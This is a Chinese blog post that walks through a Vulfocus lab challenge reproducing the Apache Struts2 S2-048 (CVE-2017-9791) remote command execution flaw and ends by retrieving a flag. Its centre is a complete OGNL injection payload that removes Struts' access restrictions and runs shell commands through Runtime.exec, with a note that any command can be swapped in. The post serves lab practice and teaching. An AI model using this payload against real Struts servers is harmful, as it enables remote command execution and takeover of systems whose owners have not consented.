首页 > 其他分享 >【Vulfocus】struts2-cve_2017_9791漏洞复现

【Vulfocus】struts2-cve_2017_9791漏洞复现

时间:2024-09-24 16:23:08浏览次数:3  
标签:dm Vulfocus flag struts2 漏洞 Struts2 9791 靶场 POC

一、漏洞介绍

1.靶场地址:https://vulfocus.cn/

2.漏洞名称:Struts2 S2-048 远程命令执行漏洞

3.漏洞描述:Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。 攻击者构造恶意字段值(value)通过Struts2的struts2-struts1-plugin传递给被攻击主机,从而实现RCE,获取远程主机的控制权限。

4.漏洞影响:Apache Struts 2.3.x系列中启用了struts2-struts1-plugin插件的版本。

二、复现过程

1.启动靶场并访问靶场链接,http://123.58.224.8:35419/
在这里插入图片描述
2.访问漏洞页面,http://123.58.224.8:35419/integration/editGangster.action
在这里插入图片描述
3.在【Gangster Name】中输入${2+2},其它输入框可随意填写,点击【Submit】,查看是否存在漏洞。
在这里插入图片描述
4.可见成功执行了计算指令,说明漏洞存在
在这里插入图片描述
5.POC验证,编写如下POC

//注:其中exec('pwd'),可修改ls,cat,ifconfig等其它命令
%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec('pwd').getInputStream())).(#q)}

6.将上述POC填入到【Gangster Name】中,点击【Submit】查看返回结果。
在这里插入图片描述
7.可见POC验证成功,反弹当前文件路径问/tmp,靶场提示flag所在目录为/tmp,修改POC中命令为ls,查看是否存在flag。
在这里插入图片描述
8.报错了…不用着急,查看报错信息的bmh44c4e9b1-744b-42ae-91f1-7a89c4f08dd7,看着像flag的格式,那么提交这个试试。flag-{bmh44c4e9b1-744b-42ae-91f1-7a89c4f08dd7}
在这里插入图片描述
9.恭喜通过!!!!!!
在这里插入图片描述

三、修复建议

建议Apache Struts2 套件升级到最新版本

标签:dm,Vulfocus,flag,struts2,漏洞,Struts2,9791,靶场,POC
From: https://blog.csdn.net/JavaLord123/article/details/142492440

相关文章

  • struts2配置文件中的method={1}详解
    转载:fifiyong  https://www.cnblogs.com/fifiyong/p/6027565.htmlstruts.xml中的配置:<!--配置用户模块的action--><actionname="user_*"class="userAction"method="{1}"><resultname="registPage">/W......
  • Vulfocus通关---thinkphp3.2.x 代码执行
    1.启动镜像2.使用工具扫描因为题干说明了是tp框架漏洞所以我们直接无脑tp扫描这里我推荐使用狐狸出品的ONE-FOX集成工具箱,超级好用食用方法:关注狐狸说安全然后就把他的地址输入进去(形式为http://ip:port)先进行全部扫描,发现漏洞,然后再选择版本扫描3.使用蚁剑打开,并......
  • 【第81课】开发框架安全&SpringBoot&Struts2&Laravel&ThinkPHP&CVE复现
    免责声明本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。文中所涉......
  • 【防忘笔记】Spring+Struts2古董框架学习
    Spring+Struts2项目框架梳理若基于Spring+Struts2的方式进行开发,前后端的交互逻辑会与boot系以及MCV的组织结构有所不同这里是对于学习过程的一些记录前置通用知识Struts2框架资料Struts2基础篇之基本概念Java之struts2框架学习一般情况的Spring前后端调试流程要理解基于......
  • Struts2基础1--创建一个Struts2 Web应用程序
    Struts2不仅仅是Struts1的升级版本,更是一个全新的Struts架构,是当前较为普及和成熟的基于MVC设计模式的Web应用程序框架,并在RIA(RichInternetApplications)Web应用程序开发中得到了广泛应用,成为最好的Web框架之一。本文将通过详细的步骤来说明如何下载获取相关资源、安装设置......
  • Vulfocus靶场搭建以及镜像管理界面没有镜像可以拉取的解决办法
    Vulfocus靶场搭建1.拉取vulfocue镜像dockerpullvulfocus/vulfocus:latest拉取成功2.开启靶场首先使用ifconfig查看一下虚拟机的IP,发现为x.x.x.x然后使用物理机去ping一下这个IP地址看看是否能ping通若能ping通则继续下面的操作生成docker容器dockercreate-p80:80......
  • 搭建高效攻防靶场vulfocus与Docker仓库管理实战:从听说到入门系列
    搭建高效攻防靶场vulfocus与Docker仓库管理实战:从听说到入门系列vulfocus简介vulfocus,作为一款前沿的漏洞集成平台,它巧妙地将多种最新的CVE漏洞环境封装于Docker容器之中,便于部署与操作,成为提升安全实战技能的理想靶场。用户既可选择在本地VMware环境中亲手搭建,享受从零到一的......
  • 什么是未授权访问漏洞?Hadoop & Redis靶场实战——Vulfocus服务攻防
    什么是未授权访问漏洞?Hadoop&Redis靶场实战——Vulfocus服务攻防一、介绍未授权访问,也称为未经授权的访问或非法访问,是指在没有得到适当权限或授权的情况下,个人或系统访问了网络、计算机、数据库、文件、应用程序或其他受保护资源的行为。这种访问可能出于恶意或非恶意的目......
  • [com.t.extend.SpringContextLoaderListener] - generate index.html sucess,ERROR or
    错误:2024-06-1913:23:09,873INFO[com.t.extend.SpringContextLoaderListener]-generateindex.htmlsucess13:23:10.159[RMITCPConnection(3)-127.0.0.1]ERRORorg.apache.struts2.dispatcher.Dispatcher-Dispatcherinitializationfailedcom.opensymphony.xwor......
  • 【护网必备】最新Struts2全版本漏洞检测工具
    基本介绍大家好,我是ABC_123。在2016年时,很多Java编写的应用网站都是基于Struts2框架研发的,因而Struts2的各个版本的漏洞非常多,当时为了方便安全测试人员快速寻找Struts2漏洞,于是ABC_123尽可能把这款工具写的简单容易上手,哪怕对Struts2漏洞完全不懂的新手,也能快速找到Struts2漏......